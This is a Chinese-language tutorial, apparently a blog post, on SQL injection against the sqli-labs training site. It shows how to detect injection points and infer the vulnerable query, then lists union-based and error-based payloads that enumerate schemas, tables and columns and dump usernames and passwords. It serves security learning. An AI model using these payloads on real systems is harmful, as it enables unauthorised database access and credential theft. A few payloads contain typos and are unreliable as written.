Sql注入

Sql注入

一、判断注入

通过输入得到的报错去推断数据库注入的源代码。

常用判断语句:

id =1 and 1=1 或 1=2
id=1' and 1=1 或 1=2

例如:sql靶场

输入:http://sqli/Less-2/?id=1'%23

得到:

可以判断出,源代码为:

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

以上,可以看出此注入为数值型注入。

常见sql注入报错及源代码:

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

二、查询
(一)联合查询

联合查询要求:

  1. 语句必须拥有相同数量的列;
  2. 列必须拥有相似的数据类型;
  3. select语句中列的顺序必须相同;

查找列数:

http://sqli/Less-2/?id=1' order by n%23

n为整数,意为总列数,若超过总列数则会报错,如:

若小于或等于总列数,一般内容正常显示。

基础知识:

1、常用数据库:information_schema

2、联合查询常用数据表:

  • columns:存储所有数据表中的列;

  • schemata:存储数据库中创建的所有数据库;

  • tables:存储所有数据库中创建的表;

  • 字段:

    数据库名:schema_name from schemata
    数据表名:table_name from tables
    字段名:column_name from columns

3、group_concat()
GROUP_CONCAT()函数将组中的字符串连接成为具有各种选项的单个字符串。
我们平时进行查询是是将返回值作为数组一行行的显示的,但我们回显位只有一个,这时候我们就需要用到group_concat()了

常用查询语句:

  1. 查询列是否正常输出:

    ?id=-1 union select 1,2,3 %23

  2. 查询数据库名、用户、本版:

    ?id=-1 union select 1,database(),version() %23

  3. 查询数据库中创建的数据库:

    ?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata %23

  4. 查询数据库中的表:

    ?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' %23

  5. 查询表中的列:

    ?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' %23

  6. 查询列中内容:

    ?id=-1 union select 1,group_concat(password),group_concat(usename) from 'users' %23

(二)错误回显查询

当如上图无回显时使用;

常用查询语句:

  1. 查询数据库名、用户、本版:

    uname=1') union select count(*), concat(database(), "--", floor(rand(0)*2)) as x from information_schema.tables group by x #%23

  2. 查询数据库中创建的数据库:

    uname=1') union select count(*), concat((select group_concat(schema_name) from information_schema.schemata ), "--", floor(rand(0)*2)) as x from information_schema.tables group by x#

  3. 查询数据库中的表:

    uname=1') union select count(*), concat((select group_concat(table_name) from information_schema.tables where table_schema="security"), "--", floor(rand(0)*2)) as x from information_schema.tables group by x#

  4. 查询表中的列:

    uname=1') union select count(*), concat((select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"), "--", floor(rand(0)*2)) as x from information_schema.tables group by x#

  5. 查询列中内容:

    uname=1') union select count(*), concat((select concat(username, "::::::",password) from users limit 0,1), "--", floor(rand(0)*2)) as x from information_schema.tables group by x #

原文地址:https://www.cnblogs.com/flowers-hellow/p/14174453.html